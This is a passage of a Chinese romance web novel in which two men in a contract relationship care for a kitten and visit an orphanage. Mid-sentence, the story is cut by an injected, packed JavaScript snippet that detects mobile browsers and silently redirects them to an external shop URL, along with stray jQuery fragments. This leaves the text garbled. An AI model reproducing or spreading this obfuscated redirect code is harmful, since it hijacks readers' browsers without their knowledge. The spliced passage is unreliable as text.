看容琛没有理解他的意思,林嘉言解释说:“就是恋人常说的那三个字。”
容琛垂眸,是他想的那三个字。
心弦被一双无形的手悄然拨动着,笑意染上了眉梢。
看林嘉言一脸懊恼,容琛逗他开心:“我知道了,你是说那三个字?”
林嘉言猛地抬头,脸上露出浅浅的酒窝。
容琛眉眼弯弯:“我想你?”
“啊。”恋人常说的怎么是这三个字嘛,看来容琛猜不到,林嘉言小声说,“是我爱你。”
虽然预料到林嘉言要说什么,真的亲耳听到,容琛还是有些触动。
“琛琛,我爱你。”林嘉言看着容琛的眼睛,向他讲明,“这是昨天的。”
容琛被林嘉言逗乐了:“那今天的呢?”
林嘉言的眼睛纯净无邪:“我爱你,这是今天的。”
容琛揉揉林嘉言的头发,刚洗过的头发很柔顺,他的心也柔软起来。
就算他知道他们并不是真正意义的情侣,但至少此刻,他是被爱着的。
而且林嘉言给他的,是满满当当的三个我爱你。
“谢谢你言言。”容琛真诚地向林嘉言道谢。
林嘉言稍稍下蹲,从他的掌下逃脱,一溜烟跑到主卧门前,回过头说:“琛琛晚安。”
“晚安。”容琛回到次卧,照例做数独,看财经新闻,十二点前准时上床睡觉。
接下来的几天,两人陆陆续续布置着猫的小家,林嘉言将猫窝放在长沙发的旁边,靠近阳台,还能让小猫多晒晒太阳。
周六下午容琛提前完成工作,到健身房锻炼了两个小时,回家的时候顺便拐路到善品买了些小甜点。
刚踏进房门,他就感觉有什么东西扑到他脚上。
低头一看,一只全身通黑的小猫趴在他脚背上,仰着小脑袋对他“喵呜”着。他将小甜点放到玄关柜上,弯腰抱起小猫:“宝宝过来了啊。”
软软的小团子窝在他怀里,好奇地看着他。
容琛刚站起身,看到林嘉言旋风般扑过来,连忙把小猫举起来,接着他被林嘉言紧紧抱住了。
容琛笑笑,林嘉言的进门拥抱越来越娴熟热情了。
他将小猫放在林嘉言脸颊处蹭蹭,小猫被蹭得舒服了,满足地喵了一声。
林嘉言感觉有些痒痒的,松开容琛,摸摸小猫的毛发:“它的毛毛好软和啊。”
接着他看到柜子上的小甜点,上前就要拿,容琛提醒他:“洗手。”
林嘉言不好意思地笑笑,转身跑了。
容琛抱着小猫来到沙发前坐下,轻轻地抚摸着它。它的毛发摸起来像丝绒一般的柔绵,手感极好。
小家伙并不认生,在容琛的怀里安静地待着,被摸得舒服了,一边发出呼噜呼噜的声音一边在他身上踩着玩。
林嘉言提着小甜点一蹦一跳过来,坐到容琛身边,取出一个小蛋糕吃着。
小猫歪着头,金色的大眼睛滴溜溜地看着林嘉言,林嘉言用手指戳戳它的脑袋:“你,不能吃!”
他咬了一口小蛋糕,对上容琛笑笑的眼睛,调皮地说,“哥哥可以哦。”
说完他想到容琛不吃甜品,找补说,“琛琛不喜欢吃,我帮琛琛吃。”
容琛抚摸着软萌的小团子,看着可爱的林嘉言,感觉这样的生活也不错。
容琛去厨房做饭了,林嘉言给小猫做饭,他用羊奶粉将猫粮泡得软糯糯的,将水备得足足的,看着小猫吃饱喝足才来到厨房。
容琛正背对着他忙碌,空间里弥漫着饭菜的香味。
林嘉言手扶着门框:“琛琛。”
容琛炒着菜:“嗯?”
林嘉言先询问容琛有没有空,得到肯定的回答后,提议道:“我们明天做一天情侣行吗?”
容琛正在翻炒的手停了一瞬。
做一天情侣?意思是他们像普通的情侣一样相处一天吗?
容琛并不觉得这段契约关系能走多久,不过是两个同样缺爱的人偶尔的交集罢了。他刻板乏味,林嘉言软萌天真,他们原是两个不同世界的人。
可现在他竟然生出了一些向往。
他按捺住内心的欣喜,故作平静地问道:“那我们做什么?”
林嘉言兴奋地说:“我们上午去儿童福利院,下午去图书馆,行吗?”
害怕容琛不愿意,他连忙解释道,“这两个地方不会遇到熟人,没有人认识我们。”
这可是他特意挑选的两个恋爱任务,[一起去福利院看望孩子]和[在图书馆共度下午时光],不像别的公共场合有随时被人碰到的危险,非常完美。
明明不对外公开是容琛提的,他还是感觉到一丝失落,手里炒着菜应下了。
得到容琛同意,林嘉言快活地拍起手,在沙发上浅眠的小猫支起耳朵听了听,又重新眯起眼睛。
林嘉言回头看看小猫,猫步走到容琛旁边:“拉钩。”
也不等容琛伸手,他勾起容琛垂着的左手小拇指拉了拉,“好了,生效。”
晚饭上林嘉言有说有笑,上一句称赞容琛做的饭菜好吃,下一句说着小猫不要太可爱,一顿饭吃得热热闹闹。
吃完饭,两人逗了一会儿小猫,容琛就钻进书房开始工作。他加快速度将明天的事情提前做好,好空出来时间好好陪林嘉言做一天“情侣”。
十点半,他关掉笔记本出去冲澡,等他从浴室出来,林嘉言正蹲在猫窝前看着熟睡的小猫发呆。
容琛问他怎么不去睡觉,林嘉言抬起头说:“我大哥说不能让它跟我睡,要让它学着独立,可我想让它跟我睡怎么办啊?”
他可怜兮兮地问容琛,“要不你让它跟我睡吧。”
容琛猜测,林嘉言大哥可能怕小猫掉毛或者有细菌,但不好明说,只好拿着独立当借口。
他也蹲下来看向猫窝,小猫盖着以前睡觉用的小毛毯,轻微打着鼾,看来睡得正熟。
容琛劝说道:“你看它睡得多香,也许它也喜欢安安静静地睡觉。”
看林嘉言还依依不舍,容琛道,“你大哥说的对,宝宝要学着独立,以后你还要还给你朋友,到时候你不舍得,它也会很伤心。”
“那就不还了。”林嘉言看着可爱的小团子,想着以后不要还给陆淇了,他伸手想点点它的小鼻子,又缩回来,怕影响它睡眠。
“不还了吗?”容琛怔道。
“嗯,不然宝宝会伤心,我也会伤心。”林嘉言低声说道。
他们不再说话,只默默地看着小猫。小猫翻过一个身,露给他们一个漆黑的脊背。
容琛站起来:“睡吧言言。”
“嗯。”林嘉言站起来,走到主卧门前,扭着头对容琛说,“别忘了明天的约定哦。”
容琛没有忘,晚饭时他问过林嘉言要去的福利院名字,特意让江特助查了查,了解到这是一家民间性质的儿童福利院,目前收留着十几个被父母遗弃的孩子。
他联系到福利院的陈院长,约好明天去探望孩子们。
转天上午九点,安顿好小猫后,两人去地下车库,孙伯和李伯正在巡逻,看到他们,热情地和他们打着招呼。
孙伯对容琛说:“今儿天不错,兄弟俩出去玩啊。”
李伯也对笑呵呵的林嘉言说:“看把孩子高兴的。”
路上,容琛问林嘉言:“言言今天很开心呐。”
林嘉言理所当然:“第一次和易琛哥哥出门,当然开心了。”
容琛听到“易琛”两个字,一时没有反应过来,然后才想到他和林嘉言的协议签的名字是易琛。他沉吟着,并没有告诉林嘉言。
林嘉言已经聊起两位保安,说他们两兄弟特别憨厚老实,每次见到他都很热情。
“他们可热心了,我昨天带宝宝回来提着东西,他们老远就要过来帮忙,我都不好意思了。”
容琛回过神告诉他:“不用不好意思,帮助业主是他们的职责。”
“我觉得香烟也是一个原因。”林嘉言想起什么,“对了,那个香烟是不是很贵啊。”
“不贵。”容琛看到前面的超市,将车速慢下来,“我们给孩子们买些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615507|205545||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
礼物。”
“好。”林嘉言继续刚才的话题,“可他们说很贵重欸。”
林嘉言有时候就是认死理,非要将事情弄明白不可。容琛笑笑道:“那是客套话。”
“这样啊。”林嘉言嘀咕着,终于停止追问。
两人去超市购买了儿童图书和零食,最后来到玩具区,林嘉言看看这个觉得很好玩,看看那个也很不错,一时难以抉择要买哪些。
容琛看着他纠结的表情说:“你看中的我们都买下来。”
林嘉言重重点头,他也是这样想的!
容琛掏出一张卡问道:“言言,我想用你给的卡付款,可以吗?”
林嘉言一怔:“不用问我,已经给你的就是你的。”
他反应过来,“我来付。”
“用这张卡付款能代表我们两人的心意。”容琛用大拇指摩挲着银行卡,“这是你的钱,能代表你的心意,你已送给我就是我的,也能代表我的心意。”
林嘉言被你的我的搞迷糊了,但容琛说能代表他们两个,他也不再争执。
收银台处,容琛看着远处满眼都是玩具的林嘉言,悄然将刚才的银行卡收起来,递给收银员另一张自己的卡。
去福利院的路上,容琛专心开车,副驾座的林嘉言手里拿着一个蓝色的小熊玩偶,摸摸它的耳朵捏捏它的脸,玩得不亦乐乎。
余光看到林嘉言爱不释手的样子,容琛说道:“你喜欢这个就留下来。”
林嘉言看看小熊有些犹豫,但随即就说:“不用。我都有很多了,这些是买给孩子们的,我不能要。”
他告诉容琛,“听陈院长说,新过来了一个小孩好可怜,我想把小熊送给他,喜欢他能喜欢。”
前面是红绿灯,容琛将汽车停稳,问道:“你认识陈院长?”
“我去做过义工。”林嘉言抚摸着小熊解释说,“我觉得这不算什么就没告诉你,不是故意不说的。”
“言言很善良。”容琛问他,“你怎么想起到福利院当义工?”
“我在网上看过新闻,那些孩子们太可怜了,没有爸爸妈妈,也没有人爱他们。”林嘉言将小熊抱到怀里,“我想为他们做一些事。”
来到爱心福利院后,陈院长亲自招待他们,感谢两人为孩子们带来的礼物。
院子的一角有许多小型游乐设备,组合滑梯、跷跷板、秋千等等。孩子们高高兴兴地吃着零食、玩着玩具,只有一个四五岁的小男孩躲在一旁角落,默默吃着棒棒糖。
陈院长告诉他们,这是新来的小海,母亲生他时难产去世,他一直被父亲家暴,父亲去世后被人送到这里,过来好几天都是一个人待在角落,也不和小伙伴们一起玩。
说着话陈院长的手机响了,她歉意地朝他们笑笑,走到一旁接电话。
林嘉言拿着小熊向小海走去,小海看到陌生人靠近,一脸警惕地望着他。
眼看小海要跑,林嘉言停住脚步,双手将小熊递过去,小海双眼紧紧地盯着玩具但并不接。
林嘉言问道:“小海,我可以抱抱你吗?”
他向小孩伸出双手,小海转过身跑开了。
林嘉言垂头丧气,问容琛:“他怎么不让我抱啊。”
“也许他知道这是不长久的,所以干脆拒绝接受。”容琛的声音有些低沉,“因为失去曾经得到过的东西,会比不曾得到更加让人难过。”
就像他们的契约关系,他一直站在旁观者的角度,冷静才不会陷入,知道得不到才不会奢求拥有。
容琛想着心事,说出的话便有些伤感。
林嘉言以为他在为小海难过,看向远处玩闹的孩子们,没有人注意到他们这边。
他快速环住容琛的腰给他一个拥抱:“你别难过,以后我会经常来看他。”
因为这一个拥抱,容琛的难过神奇地消失了。
回来的路上,经过刚才来时的超市,容琛将车速慢下来。
林嘉言问道:“怎么了?”
“你能不能在车上等我一会儿,我下去办件事。”容琛问道。